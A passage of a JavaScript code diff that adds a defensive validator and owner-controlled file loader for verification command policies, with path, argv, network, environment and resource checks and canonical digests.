'executable_content_denied'; + if (capturedIncludes(ENVIRONMENT_FOLDS, folded)) return 'executable_content_denied'; + if (capturedIncludes(NETWORK_FOLDS, folded)) return 'network_content_denied'; + if (capturedIncludes(MUTATION_FOLDS, folded)) return 'mutation_permission_denied'; + if (capturedIncludes(RESOURCE_FOLDS, folded)) return 'resource_limit_denied'; + return 'unknown_key'; +} + +function assertExactKeys(value, allowed, required, path) { + const allowedSet = new SET_CTOR(allowed); + const keys = ownKeysOrDeny(value, path); + for (let index = 0; index < keys.length; index += 1) { + const key = keys[index]; + if (typeof key === 'symbol') deny('symbol_key_denied', path); + if (!SET_HAS.call(allowedSet, key)) deny('unknown_key', path); + } + for (let index = 0; index < required.length; index += 1) { + if (!hasOwn(value, required[index])) deny('missing_key', `${path}.${required[index]}`); + } + if (keys.length > MAX_POLICY_OBJECT_KEYS) deny('out_of_range', path); +} + +function assertDenseArray(value, path, maxLength) { + assertNotProxy(value, path); + if (!capturedIsArray(value)) deny('invalid_type', path); + let prototype; + try { + prototype = capturedGetPrototypeOf(value); + } catch { + deny('exotic_prototype_denied', path); + } + if (prototype !== ARRAY_PROTOTYPE && prototype !== null) deny('exotic_prototype_denied', path); + const lengthDescriptor = capturedDescriptor(value, 'length'); + if (!lengthDescriptor || lengthDescriptor.enumerable + || lengthDescriptor.get !== undefined || lengthDescriptor.set !== undefined + || typeof lengthDescriptor.value !== 'number' + || !NUMBER_IS_SAFE_INTEGER(lengthDescriptor.value) || lengthDescriptor.value < 0) { + deny('invalid_array', `${path}.length`); + } + const length = lengthDescriptor.value; + if (length > maxLength) deny('out_of_range', path); + const keys = ownKeysOrDeny(value, path); + for (let index = 0; index < keys.length; index += 1) { + const key = keys[index]; + if (typeof key === 'symbol') deny('symbol_key_denied', path); + if (key === 'length') continue; + const numeric = Number(key); + if (!NUMBER_IS_SAFE_INTEGER(numeric) || STRING(numeric) !== key || numeric < 0 || numeric >= length) { + deny('invalid_array', path); + } + } + for (let index = 0; index < length; index += 1) { + if (!hasOwn(value, STRING(index))) deny('invalid_array', `${path}[${index}]`); + } + return length; +} + +function assertPolicyBounds(value, path) { + let nodes = 0; + let stringBytes = 0; + const walk = (node, depth, nodePath) => { + nodes += 1; + if (nodes > MAX_POLICY_NODES) deny('out_of_range', nodePath); + if (depth > MAX_POLICY_DEPTH) deny('value_depth_exceeded', nodePath); + if (typeof node === 'string') { + stringBytes += BUFFER_BYTE_LENGTH(node, 'utf8'); + if (stringBytes > MAX_POLICY_TOTAL_STRING_BYTES) deny('out_of_range', nodePath); + return; + } + if (node === null || typeof node !== 'object') return; + if (capturedIsArray(node)) { + if (node.length > MAX_POLICY_OBJECT_KEYS && nodePath !== `${path}.commands`) { + if (node.length > MAX_ARGV_TOKENS && node.length > MAX_COMMANDS) deny('out_of_range', nodePath); + } + for (let index = 0; index < node.length; index += 1) { + walk(node[index], depth + 1, `${nodePath}[${index}]`); + } + return; + } + const keys = sortedCapturedKeys(node); + if (keys.length > MAX_POLICY_OBJECT_KEYS) deny('out_of_range', nodePath); + for (let index = 0; index < keys.length; index += 1) { + walk(node[keys[index]], depth + 1, `${nodePath}.${keys[index]}`); + } + }; + walk(value, 0, path); +} + +function isDotOnly(segment) { + if (segment.length === 0) return false; + for (let index = 0; index < segment.length; index += 1) { + if (STRING_CHAR_CODE_AT(segment, index) !== 0x2e) return false; + } + return true; +} + +function assertExecutablePath(value, path) { + assertBoundedString(value, path, MAX_EXECUTABLE_BYTES); + if (!STRING_STARTS_WITH(value, '/')) deny('invalid_format', path); + if (STRING_ENDS_WITH(value, '/')) deny('invalid_format', path); + for (let index = 0; index < value.length; index += 1) { + const unit = STRING_CHAR_CODE_AT(value, index); + if (unit === 0x5c || unit === 0x3a) deny('invalid_format', path); + } + const segments = STRING_SPLIT(value, '/'); + if (segments.length < 2 || segments.length > MAX_EXECUTABLE_SEGMENTS) deny('out_of_range', path); + if (segments[0] !== '') deny('invalid_format', path); + for (let index = 1; index < segments.length; index += 1) { + const segment = segments[index]; + if (segment.length === 0 || isDotOnly(segment) || !capturedTest(PRIVATE_SEGMENT_PATTERN, segment)) { + deny('invalid_format', path); + } + } + return value; +} + +function parseParameterDomain(input, path) { + assertPlainObject(input, 'invalid_type', path, path); + if (!hasOwn(input, 'type')) deny('missing_key', `${path}.type`); + const type = optOwn(input, 'type'); + if (!capturedIncludes(PARAMETER_TYPES, type)) deny('invalid_format', `${path}.type`); + if (type === 'string') { + assertExactKeys(input, STRING_DOMAIN_KEYS, STRING_DOMAIN_KEYS, path); + return freezeRecord(STRING_DOMAIN_KEYS, { + type, + max_bytes: assertSafeInteger(optOwn(input, 'max_bytes'), `${path}.max_bytes`, 1, MAX_PARAM_STRING_BYTES), + }); + } + if (type === 'path_segment') { + assertExactKeys(input, PATH_SEGMENT_DOMAIN_KEYS, PATH_SEGMENT_DOMAIN_KEYS, path); + return freezeRecord(PATH_SEGMENT_DOMAIN_KEYS, { + type, + max_bytes: assertSafeInteger(optOwn(input, 'max_bytes'), `${path}.max_bytes`, 1, 128), + }); + } + if (type === 'integer') { + assertExactKeys(input, INTEGER_DOMAIN_KEYS, INTEGER_DOMAIN_KEYS, path); + const min = assertSafeInteger(optOwn(input, 'min'), `${path}.min`, Number.MIN_SAFE_INTEGER, Number.MAX_SAFE_INTEGER); + const max = assertSafeInteger(optOwn(input, 'max'), `${path}.max`, Number.MIN_SAFE_INTEGER, Number.MAX_SAFE_INTEGER); + if (min > max) deny('out_of_range', path); + return freezeRecord(INTEGER_DOMAIN_KEYS, { type, min, max }); + } + if (type === 'boolean') { + assertExactKeys(input, BOOLEAN_DOMAIN_KEYS, BOOLEAN_DOMAIN_KEYS, path); + return freezeRecord(BOOLEAN_DOMAIN_KEYS, { type }); + } + assertExactKeys(input, ENUM_DOMAIN_KEYS, ENUM_DOMAIN_KEYS, path); + const valuesInput = optOwn(input, 'values'); + const length = assertDenseArray(valuesInput, `${path}.values`, MAX_ENUM_VALUES); + if (length < 1) deny('out_of_range', `${path}.values`); + const seen = new SET_CTOR(); + const values = []; + for (let index = 0; index < length; index += 1) { + const entryPath = `${path}.values[${index}]`; + const value = optOwn(valuesInput, STRING(index)); + assertBoundedString(value, entryPath, MAX_PARAM_STRING_BYTES); + if (!capturedTest(PRIVATE_ENUM_VALUE_PATTERN, value)) deny('invalid_format', entryPath); + if (SET_HAS.call(seen, value)) deny('duplicate_id', entryPath); + SET_ADD.call(seen, value); + ARRAY_PUSH.call(values, value); + } + ARRAY_SORT(values, compareText); + return freezeRecord(ENUM_DOMAIN_KEYS, { type, values: freezeList(values) }); +} + +function parseParameters(input, path) { + if (input === undefined) return freezeRecord([], {}); + assertPlainObject(input, 'invalid_type', path, path); + const keys = sortedCapturedKeys(input); + if (keys.length > MAX_PARAMETERS) deny('out_of_range', path); + const seen = new SET_CTOR(); + const values = {}; + for (let index = 0; index < keys.length; index += 1) { + const key = keys[index]; + assertParamName(key, `${path}.${key}`); + if (SET_HAS.call(seen, key)) deny('duplicate_parameter', path); + SET_ADD.call(seen, key); + values[key] = parseParameterDomain(optOwn(input, key), `${path}.${key}`); + } + return freezeRecord(keys, values); +} + +function parseArgvTemplate(input, parameters, path) { + const length = assertDenseArray(input, path, MAX_ARGV_TOKENS); + if (length < 1) deny('out_of_range', path); + const tokens = []; + const used = new SET_CTOR(); + for (let index = 0; index < length; index += 1) { + const entryPath = `${path}[${index}]`; + const token = optOwn(input, STRING(index)); + assertBoundedString(token, entryPath, MAX_ARGV_TOKEN_BYTES); + if (capturedTest(PRIVATE_PLACEHOLDER_PATTERN, token)) { + const name = STRING_SLICE(token, 1, token.length - 1); + if (!capturedHasOwn(parameters, name)) deny('placeholder_unbound', entryPath); + if (SET_HAS.call(used, name)) deny('duplicate_parameter', entryPath); + SET_ADD.call(used, name); + ARRAY_PUSH.call(tokens, token); + continue; + } + if (!capturedTest(PRIVATE_LITERAL_PATTERN, token)) deny('shell_content_denied', entryPath); + ARRAY_PUSH.call(tokens, token); + } + return freezeList(tokens); +} + +function parseNetwork(input, path) { + if (input === undefined) { + return freezeRecord(NETWORK_ALLOWED_KEYS, { mode: 'deny', hosts: freezeList([]) }); + } + assertPlainObject(input, 'invalid_type', path, path); + if (!hasOwn(input, 'mode')) deny('missing_key', `${path}.mode`); + const mode = optOwn(input, 'mode'); + if (!capturedIncludes(NETWORK_MODES, mode)) deny('invalid_format', `${path}.mode`); + if (mode === 'deny') { + assertExactKeys(input, capturedFreeze(['mode']), capturedFreeze(['mode']), path); + return freezeRecord(NETWORK_ALLOWED_KEYS, { mode: 'deny', hosts: freezeList([]) }); + } + assertExactKeys(input, NETWORK_ALLOWED_KEYS, NETWORK_ALLOWED_KEYS, path); + const hostsInput = optOwn(input, 'hosts'); + const length = assertDenseArray(hostsInput, `${path}.hosts`, MAX_NETWORK_HOSTS); + if (length < 1) deny('out_of_range', `${path}.hosts`); + const seen = new SET_CTOR(); + const hosts = []; + for (let index = 0; index < length; index += 1) { + const entryPath = `${path}.hosts[${index}]`; + const host = optOwn(hostsInput, STRING(index)); + assertBoundedString(host, entryPath, MAX_HOST_BYTES); + if (!capturedTest(PRIVATE_HOST_PATTERN, host)) deny('invalid_format', entryPath); + if (SET_HAS.call(seen, host)) deny('duplicate_id', entryPath); + SET_ADD.call(seen, host); + ARRAY_PUSH.call(hosts, host); + } + ARRAY_SORT(hosts, compareText); + return freezeRecord(NETWORK_ALLOWED_KEYS, { mode: 'allowlist', hosts: freezeList(hosts) }); +} + +function parseEnvironment(input, path) { + if (input === undefined) { + return freezeRecord(ENVIRONMENT_ALLOWED_KEYS, { entries: freezeList([]) }); + } + assertPlainObject(input, 'invalid_type', path, path); + assertExactKeys(input, ENVIRONMENT_ALLOWED_KEYS, capturedFreeze([]), path); + if (!hasOwn(input, 'entries')) { + return freezeRecord(ENVIRONMENT_ALLOWED_KEYS, { entries: freezeList([]) }); + } + const entriesInput = optOwn(input, 'entries'); + const length = assertDenseArray(entriesInput, `${path}.entries`, MAX_ENV_ENTRIES); + const seen = new SET_CTOR(); + const entries = []; + for (let index = 0; index < length; index += 1) { + const entryPath = `${path}.entries[${index}]`; + const entry = optOwn(entriesInput, STRING(index)); + assertPlainObject(entry, 'invalid_type', entryPath, entryPath); + assertExactKeys(entry, ENV_ENTRY_ALLOWED_KEYS, ENV_ENTRY_ALLOWED_KEYS, entryPath); + const name = optOwn(entry, 'name'); + assertBoundedString(name, `${entryPath}.name`, MAX_ENV_NAME_BYTES); + if (!capturedTest(PRIVATE_ENV_NAME_PATTERN, name) || capturedIncludes(DENIED_ENV_NAMES, name)) { + deny('env_name_denied', `${entryPath}.name`); + } + if (SET_HAS.call(seen, name)) deny('duplicate_id', `${entryPath}.name`); + SET_ADD.call(seen, name); + const value = optOwn(entry, 'value'); + assertBoundedString(value, `${entryPath}.value`, MAX_ENV_VALUE_BYTES); + if (!capturedTest(PRIVATE_LITERAL_PATTERN, value)) deny('shell_content_denied', `${entryPath}.value`); + ARRAY_PUSH.call(entries, freezeRecord(ENV_ENTRY_ALLOWED_KEYS, { name, value })); + } + entries.sort((left, right) => compareText(left.name, right.name)); + return freezeRecord(ENVIRONMENT_ALLOWED_KEYS, { entries: freezeList(entries) }); +} + +function parseMutation(input, path) { + if (input === undefined) { + return freezeRecord(MUTATION_ALLOWED_KEYS, { persistent: false, workspace: 'none' }); + } + assertPlainObject(input, 'invalid_type', path, path); + assertExactKeys(input, MUTATION_ALLOWED_KEYS, capturedFreeze(['persistent']), path); + const persistent = optOwn(input, 'persistent'); + if (persistent !== true && persistent !== false) deny('invalid_type', `${path}.persistent`); + let workspace = 'none'; + if (hasOwn(input, 'workspace')) { + workspace = optOwn(input, 'workspace'); + if (!capturedIncludes(MUTATION_WORKSPACES, workspace)) deny('invalid_format', `${path}.workspace`); + } + if (persistent === true && workspace === 'none') deny('invalid_format', `${path}.workspace`); + return freezeRecord(MUTATION_ALLOWED_KEYS, { persistent, workspace }); +} + +function parseResources(input, path) { + if (input === undefined) { + return freezeRecord(RESOURCES_ALLOWED_KEYS, { + max_output_bytes: DEFAULT_OUTPUT_BYTES, + max_error_bytes: DEFAULT_ERROR_BYTES, + }); + } + assertPlainObject(input, 'invalid_type', path, path); + assertExactKeys(input, RESOURCES_ALLOWED_KEYS, capturedFreeze([]), path); + const maxOutput = hasOwn(input, 'max_output_bytes') + ? assertSafeInteger(optOwn(input, 'max_output_bytes'), `${path}.max_output_bytes`, 1, MAX_OUTPUT_BYTES) + : DEFAULT_OUTPUT_BYTES; + const maxError = hasOwn(input, 'max_error_bytes') + ? assertSafeInteger(optOwn(input, 'max_error_bytes'), `${path}.max_error_bytes`, 1, MAX_ERROR_BYTES) + : DEFAULT_ERROR_BYTES; + return freezeRecord(RESOURCES_ALLOWED_KEYS, { + max_output_bytes: maxOutput, + max_error_bytes: maxError, + }); +} + +function parseTimeout(input, path) { + if (input === undefined) return DEFAULT_TIMEOUT_MS; + return assertSafeInteger(input, path, MIN_DURATION_MS, MAX_TIMEOUT_MS); +} + +export const DEFAULT_NETWORK_RECEIPT = parseNetwork(undefined, 'network'); +export const DEFAULT_ENVIRONMENT_RECEIPT = parseEnvironment(undefined, 'environment'); +export const DEFAULT_MUTATION_RECEIPT = parseMutation(undefined, 'mutation'); +export const DEFAULT_RESOURCES_RECEIPT = parseResources(undefined, 'resources'); + +function parseCommand(input, path) { + assertPlainObject(input, 'invalid_type', path, path); + assertExactKeys(input, COMMAND_ALLOWED_KEYS, COMMAND_REQUIRED_KEYS, path); + const commandId = assertCommandId(optOwn(input, 'command_id'), `${path}.command_id`); + const executable = assertExecutablePath(optOwn(input, 'executable'), `${path}.executable`); + const parameters = parseParameters( + hasOwn(input, 'parameters') ? optOwn(input, 'parameters') : undefined, + `${path}.parameters`, + ); + const argvTemplate = parseArgvTemplate(optOwn(input, 'argv_template'), parameters, `${path}.argv_template`); + return freezeRecord(COMMAND_RECEIPT_KEYS, { + command_id: commandId, + executable, + argv_template: argvTemplate, + parameters, + network: parseNetwork(hasOwn(input, 'network') ? optOwn(input, 'network') : undefined, `${path}.network`), + environment: parseEnvironment( + hasOwn(input, 'environment') ? optOwn(input, 'environment') : undefined, + `${path}.environment`, + ), + mutation: parseMutation(hasOwn(input, 'mutation') ? optOwn(input, 'mutation') : undefined, `${path}.mutation`), + timeout_ms: parseTimeout(hasOwn(input, 'timeout_ms') ? optOwn(input, 'timeout_ms') : undefined, `${path}.timeout_ms`), + resources: parseResources(hasOwn(input, 'resources') ? optOwn(input, 'resources') : undefined, `${path}.resources`), + }); +} + +export function parseVerificationCommandDescriptorV1(input, path = 'command') { + assertPlainObject(input, 'invalid_type', path, path); + assertDirectJsonClosure(input, path); + assertPolicyBounds(input, path); + return parseCommand(input, path); +} + +function emptyPolicy() { + return freezeRecord(POLICY_ALLOWED_KEYS, { + schema: VERIFICATION_POLICY_SCHEMA_ID, + version: VERIFICATION_POLICY_VERSION, + commands: freezeList([]), + }); +} + +export function parseVerificationPolicyV1(input, path = 'policy') { + assertPlainObject(input, 'invalid_type', path, path); + assertDirectJsonClosure(input, path); + assertPolicyBounds(input, path); + assertExactKeys(input, POLICY_ALLOWED_KEYS, POLICY_REQUIRED_KEYS, path); + const schema = optOwn(input, 'schema'); + if (schema !== VERIFICATION_POLICY_SCHEMA_ID) deny('invalid_format', `${path}.schema`); + const version = optOwn(input, 'version'); + if (version !== VERIFICATION_POLICY_VERSION) deny('invalid_format', `${path}.version`); + const commandsInput = optOwn(input, 'commands'); + const length = assertDenseArray(commandsInput, `${path}.commands`, MAX_COMMANDS); + const seen = new SET_CTOR(); + const commands = []; + for (let index = 0; index < length; index += 1) { + const entryPath = `${path}.commands[${index}]`; + const snapshot = parseCommand(optOwn(commandsInput, STRING(index)), entryPath); + if (SET_HAS.call(seen, snapshot.command_id)) deny('duplicate_id', `${entryPath}.command_id`); + SET_ADD.call(seen, snapshot.command_id); + ARRAY_PUSH.call(commands, snapshot); + } + commands.sort((left, right) => compareText(left.command_id, right.command_id)); + const snapshot = freezeRecord(POLICY_ALLOWED_KEYS, { + schema: VERIFICATION_POLICY_SCHEMA_ID, + version: VERIFICATION_POLICY_VERSION, + commands: freezeList(commands), + }); + const canonical = canonicalJsonStringify(snapshot); + if (BUFFER_FROM(canonical, 'utf8').length > MAX_POLICY_CANONICAL_BYTES) deny('out_of_range', path); + return snapshot; +} + +export function canonicalVerificationPolicyJsonV1(input, path = 'policy') { + return canonicalJsonStringify(parseVerificationPolicyV1(input, path)); +} + +export function canonicalVerificationCommandJsonV1(input, path = 'command') { + return canonicalJsonStringify(parseVerificationCommandDescriptorV1(input, path)); +} + +function digestOf(label, snapshot) { + const canonical = canonicalJsonStringify(snapshot); + const canonicalBytes = BUFFER_FROM(canonical, 'utf8'); + const descriptor = identityDigestV1(label, [canonicalBytes]); + return capturedFreeze({ + algorithm: DIGEST_ALGORITHM, + domain: IDENTITY_DOMAIN, + version: IDENTITY_VERSION, + label, + input_bytes: canonicalBytes.length, + digest: descriptor.digest, + }); +} + +export function verificationPolicyDigestV1(input, path = 'policy') { + return digestOf(VERIFICATION_POLICY_DIGEST_LABEL, parseVerificationPolicyV1(input, path)); +} + +export function verificationCommandDigestV1(input, path = 'command') { + return digestOf(VERIFICATION_COMMAND_DIGEST_LABEL, parseVerificationCommandDescriptorV1(input, path)); +} + +export function verifyVerificationPolicyDigestV1(input, expectedDigestHex, path = 'policy') { + if (typeof expectedDigestHex !== 'string' + || expectedDigestHex.length !== POLICY_DIGEST_HEX_LENGTH + || !capturedTest(PRIVATE_SHA256_PATTERN, expectedDigestHex)) { + return false; + } + const actual = verificationPolicyDigestV1(input, path).digest; + return TIMING_SAFE_EQUAL(BUFFER_FROM(actual, 'hex'), BUFFER_FROM(expectedDigestHex, 'hex')) === true; +} + +function assertUntrustedStringParameter(value, path) { + assertBoundedString(value, path, PARAM_VALUE_MAX_BYTES); + if (!capturedTest(PRIVATE_LITERAL_PATTERN, value) && !capturedTest(PRIVATE_PATH_SEGMENT_PATTERN, value)) { + deny('shell_content_denied', path); + } + return value; +} + +function parseUntrustedParameters(input, path) { + if (input === undefined) return freezeRecord([], {}); + assertPlainObject(input, 'invalid_type', path, path); + const keys = sortedCapturedKeys(input); + if (keys.length > MAX_PARAMETERS) deny('out_of_range', path); + const seen = new SET_CTOR(); + const values = {}; + for (let index = 0; index < keys.length; index += 1) { + const key = keys[index]; + const code = classifyUntrustedKey(key); + if (code !== null && code !== 'unknown_key') deny(code, path); + assertParamName(key, `${path}.${key}`); + if (SET_HAS.call(seen, key)) deny('duplicate_parameter', path); + SET_ADD.call(seen, key); + const value = optOwn(input, key); + if (typeof value === 'string') { + values[key] = assertUntrustedStringParameter(value, `${path}.${key}`); + } else if (typeof value === 'number') { + values[key] = assertSafeInteger(value, `${path}.${key}`, Number.MIN_SAFE_INTEGER, Number.MAX_SAFE_INTEGER); + } else if (value === true || value === false) { + values[key] = value; + } else { + deny('invalid_type', `${path}.${key}`); + } + } + return freezeRecord(keys, values); +} + +export function rejectUntrustedExecutableContentV1(input, path = 'untrusted') { + assertNotProxy(input, path); + if (input === null || typeof input !== 'object') return; + assertDirectJsonClosure(input, path); + const walk = (node, nodePath) => { + if (node === null || typeof node !== 'object') return; + if (capturedIsArray(node)) { + for (let index = 0; index < node.length; index += 1) { + walk(node[index], `${nodePath}[${index}]`); + } + return; + } + const keys = ownKeysOrDeny(node, nodePath); + for (let index = 0; index < keys.length; index += 1) { + const key = keys[index]; + if (typeof key === 'symbol') deny('symbol_key_denied', nodePath); + const code = classifyUntrustedKey(key); + if (code !== null && code !== 'unknown_key') deny(code, nodePath); + walk(optOwn(node, key), `${nodePath}.${key}`); + } + }; + walk(input, path); +} + +export function parseUntrustedCommandReferenceV1(input, path = 'untrusted_command') { + assertPlainObject(input, 'invalid_type', path, path); + assertDirectJsonClosure(input, path); + assertPolicyBounds(input, path); + rejectUntrustedExecutableContentV1(input, path); + const keys = ownKeysOrDeny(input, path); + for (let index = 0; index < keys.length; index += 1) { + const key = keys[index]; + if (typeof key === 'symbol') deny('symbol_key_denied', path); + if (key !== 'command_id' && key !== 'parameters') { + deny(classifyUntrustedKey(key) ?? 'unknown_key', path); + } + } + if (!hasOwn(input, 'command_id')) deny('missing_key', `${path}.command_id`); + const commandId = assertCommandId(optOwn(input, 'command_id'), `${path}.command_id`); + const parameters = parseUntrustedParameters( + hasOwn(input, 'parameters') ? optOwn(input, 'parameters') : undefined, + `${path}.parameters`, + ); + return freezeRecord(UNTRUSTED_COMMAND_ALLOWED_KEYS, { + command_id: commandId, + parameters, + }); +} + +function requireNormalizedAbsolute(value, path) { + if (typeof value !== 'string') deny('policy_options_denied', path); + assertSafeText(value, path); + if (!PATH_IS_ABSOLUTE(value) || PATH_RESOLVE(value) !== value) deny('policy_options_denied', path); + return value; +} + +function assertStandardDataObject(value, path) { + assertNotProxy(value, path); + if (value === null || typeof value !== 'object' || capturedIsArray(value)) { + deny('policy_options_denied', path); + } + let prototype; + try { + prototype = capturedGetPrototypeOf(value); + } catch { + deny('exotic_prototype_denied', path); + } + if (prototype !== OBJECT_PROTOTYPE && prototype !== null) { + deny('exotic_prototype_denied', path); + } +} + +function assertClosedOwnKeys(value, allowed, path) { + const keys = ownKeysOrDeny(value, path); + for (let index = 0; index < keys.length; index += 1) { + const key = keys[index]; + if (typeof key === 'symbol') deny('symbol_key_denied', path); + if (!capturedIncludes(allowed, key)) deny('unknown_key', path); + } +} + +function readProcessEnvironment(path) { + const source = process.env; + assertNotProxy(source, path); + if (typeof source !== 'object' || source === null || capturedIsArray(source)) { + deny('policy_options_denied', path); + } + const read = (key) => { + let descriptor; + try { + descriptor = capturedDescriptor(source, key); + } catch { + deny('policy_options_denied', path); + } + if (descriptor === undefined) return undefined; + if (!descriptor.enumerable || descriptor.get !== undefined || descriptor.set !== undefined) { + deny('policy_options_denied', path); + } + return descriptor.value; + }; + return { xdgConfigHome: read('XDG_CONFIG_HOME'), home: read('HOME') }; +} + +function readEnvironment(env, path) { + if (env === undefined) return readProcessEnvironment(path); + assertStandardDataObject(env, path); + assertClosedOwnKeys(env, LOADER_ENV_KEYS, path); + const read = (key) => { + if (!hasOwn(env, key)) return undefined; + const value = ownDataValue(env, key, `${path}.${key}`); + assertNotProxy(value, `${path}.${key}`); + if (typeof value !== 'string') deny('policy_options_denied', `${path}.${key}`); + return value; + }; + return { xdgConfigHome: read('XDG_CONFIG_HOME'), home: read('HOME') }; +} + +function defaultOwnerConfigDir(environment) { + if (typeof environment.xdgConfigHome === 'string' && environment.xdgConfigHome.length > 0 + && PATH_IS_ABSOLUTE(environment.xdgConfigHome) + && PATH_RESOLVE(environment.xdgConfigHome) === environment.xdgConfigHome) { + return environment.xdgConfigHome; + } + const home = typeof environment.home === 'string' && environment.home.length > 0 + && PATH_IS_ABSOLUTE(environment.home) && PATH_RESOLVE(environment.home) === environment.home + ? environment.home + : OS_HOMEDIR(); + requireNormalizedAbsolute(home, 'options.env.HOME'); + return PATH_JOIN(home, '.config'); +} + +export function verificationPolicyRoots(options = {}) { + assertStandardDataObject(options, 'options'); + assertClosedOwnKeys(options, LOADER_OPTION_KEYS, 'options'); + const ownerConfigDir = hasOwn(options, 'ownerConfigDir') + ? requireNormalizedAbsolute( + ownDataValue(options, 'ownerConfigDir', 'options.ownerConfigDir'), + 'options.ownerConfigDir', + ) + : defaultOwnerConfigDir(readEnvironment( + hasOwn(options, 'env') ? ownDataValue(options, 'env', 'options.env') : undefined, + 'options.env', + )); + const dir = PATH_JOIN(ownerConfigDir, OWNER_POLICY_DIRNAME); + const file = PATH_JOIN(dir, OWNER_POLICY_FILENAME); + return capturedFreeze({ + scope: 'owner', + dir, + file, + }); +} + +function sameEntry(left, right) { + return left.dev === right.dev && left.ino === right.ino && left.mode === right.mode + && left.size === right.size && left.mtimeNs === right.mtimeNs && left.ctimeNs === right.ctimeNs; +} + +function requireOwnerControl(entry, kindPath) { + const effectiveUid = typeof process.geteuid === 'function' ? BigInt(process.geteuid()) : undefined; + if ((effectiveUid !== undefined && entry.uid !== effectiveUid) || (entry.mode & 0o022n) !== 0n) { + deny('policy_catalog_not_owner_controlled', kindPath); + } +} + +function catalogOpenFlags() { + return fsConstants.O_RDONLY | (fsConstants.O_NOFOLLOW ?? 0) | (fsConstants.O_NONBLOCK ?? 0); +} + +function assertNoDuplicateJsonKeys(text) { + const scopes = [{ object: false, keys: new SET_CTOR() }]; + let inString = false; + let escaped = false; + let stringStart = -1; + for (let index = 0; index < text.length; index += 1) { + const char = text[index]; + if (inString) { + if (escaped) escaped = false; + else if (char === '\\') escaped = true; + else if (char === '"') { + inString = false; + const scope = scopes[scopes.length - 1]; + if (scope.object) { + let cursor = index + 1; + while (cursor < text.length && (text[cursor] === ' ' || text[cursor] === '\n' + || text[cursor] === '\r' || text[cursor] === '\t')) { + cursor += 1; + } + if (text[cursor] === ':') { + let key; + try { + key = JSON_PARSE(STRING_SLICE(text, stringStart - 1, index + 1)); + } catch { + deny('invalid_encoding', 'policy'); + } + if (SET_HAS.call(scope.keys, key)) deny('duplicate_id', 'policy'); + SET_ADD.call(scope.keys, key); + } + } + } + continue; + } + if (char === '"') { + inString = true; + escaped = false; + stringStart = index + 1; + continue; + } + if (char === '{') ARRAY_PUSH.call(scopes, { object: true, keys: new SET_CTOR() }); + else if (char === '[') ARRAY_PUSH.call(scopes, { object: false, keys: new SET_CTOR() }); + else if (char === '}' || char === ']') { + scopes.pop(); + if (scopes.length === 0) deny('invalid_encoding', 'policy'); + } + } + if (inString || scopes.length !== 1) deny('invalid_encoding', 'policy'); +} + +function parsePolicyText(text) { + assertNoDuplicateJsonKeys(text); + let parsed; + try { + parsed = JSON_PARSE(text); + } catch { + deny('invalid_encoding', 'policy'); + } + return parseVerificationPolicyV1(parsed, 'policy'); +} + +async function readOwnerPolicyFile(file) { + let handle; + try { + handle = await FS_OPEN(file, catalogOpenFlags()); + } catch (error) { + if (error && error.code === 'ENOENT') return { present: false, text: undefined }; + if (error && (error.code === 'ENOTDIR' || error.code === 'ELOOP')) { + deny('policy_catalog_not_regular', 'policy'); + } + deny('policy_catalog_unreadable', 'policy'); + } + try { + const before = await handle.stat({ bigint: true }); + if (!before.isFile()) deny('policy_catalog_not_regular', 'policy'); + requireOwnerControl(before, 'policy'); + if (before.size > BigInt(MAX_POLICY_BYTES)) deny('policy_catalog_too_large', 'policy'); + const bytes = await handle.readFile(); + const after = await handle.stat({ bigint: true }); + if (!sameEntry(before, after)) deny('policy_catalog_changed_during_read', 'policy'); + if (bytes.byteLength > MAX_POLICY_BYTES) deny('policy_catalog_too_large', 'policy'); + if (bytes.length >= 3 && bytes[0] === 0xef && bytes[1] === 0xbb && bytes[2] === 0xbf) { + deny('invalid_encoding', 'policy'); + } + try { + return { + present: true, + text: REFLECT_APPLY(TEXT_DECODER_DECODE, new TEXT_DECODER('utf-8', { fatal: true }), [bytes]), + }; + } catch { + deny('invalid_encoding', 'policy'); + } + } catch (error) { + if (error instanceof RunContractV1Error) throw error; + deny('policy_catalog_unreadable', 'policy'); + } finally { + await handle.close().catch(() => {}); + } +} + +export async function loadOwnerVerificationPolicyV1(options = {}) { + const roots = verificationPolicyRoots(options); + const dirEntry = await FS_LSTAT(roots.dir, { bigint: true }).catch((error) => { + if (error && error.code === 'ENOENT') return undefined; + deny('policy_catalog_unreadable', 'policy'); + }); + if (dirEntry !== undefined) { + if (dirEntry.isSymbolicLink() || !dirEntry.isDirectory()) deny('policy_catalog_not_regular', 'policy'); + } + const catalog = await readOwnerPolicyFile(roots.file); + if (dirEntry !== undefined) { + const afterDir = await FS_LSTAT(roots.dir, { bigint: true }).catch(() => { + deny('policy_catalog_changed_during_read', 'policy'); + }); + if (!sameEntry(dirEntry, afterDir)) deny('policy_catalog_changed_during_read', 'policy'); + } + if (catalog.present) { + if (dirEntry === undefined) deny('policy_catalog_changed_during_read', 'policy'); + requireOwnerControl(dirEntry, 'policy'); + } + const policy = catalog.present ? parsePolicyText(catalog.text) : emptyPolicy(); + const digest = digestOf(VERIFICATION_POLICY_DIGEST_LABEL, policy); + return capturedFreeze({ + schema: VERIFICATION_POLICY_SCHEMA_ID, + version: VERIFICATION_POLICY_VERSION, + source: capturedFreeze({ + scope: 'owner', + present: catalog.present === true, + file: roots.file, + }), + policy, + digest, + }); +} + +export const VERIFICATION_POLICY_CONTRACT_DESCRIPTOR = capturedFreeze({ + schema: VERIFICATION_POLICY_SCHEMA_ID, + version: VERIFICATION_POLICY_VERSION, + label: VERIFICATION_POLICY_DIGEST_LABEL, + command_label: VERIFICATION_COMMAND_DIGEST_LABEL, + bounds: capturedFreeze({ + max_depth: MAX_POLICY_DEPTH, + max_nodes: MAX_POLICY_NODES, + max_commands: MAX_COMMANDS, + max_argv_tokens: MAX_ARGV_TOKENS, + max_parameters: MAX_PARAMETERS, + max_canonical_bytes: MAX_POLICY_CANONICAL_BYTES, + default_timeout_ms: DEFAULT_TIMEOUT_MS, + default_output_bytes: DEFAULT_OUTPUT_BYTES, + default_error_bytes: DEFAULT_ERROR_BYTES, + }), + default_deny: capturedFreeze({ + network: DEFAULT_NETWORK_RECEIPT, + environment: DEFAULT_ENVIRONMENT_RECEIPT, + mutation: DEFAULT_MUTATION_RECEIPT, + resources: DEFAULT_RESOURCES_RECEIPT, + timeout_ms: DEFAULT_TIMEOUT_MS, + }), +}); + +capturedFreeze(parseVerificationPolicyV1); +capturedFreeze(parseVerificationCommandDescriptorV1); +capturedFreeze(parseUntrustedCommandReferenceV1); +capturedFreeze(rejectUntrustedExecutableContentV1); +capturedFreeze(canonicalVerificationPolicyJsonV1); +capturedFreeze(verificationPolicyDigestV1); 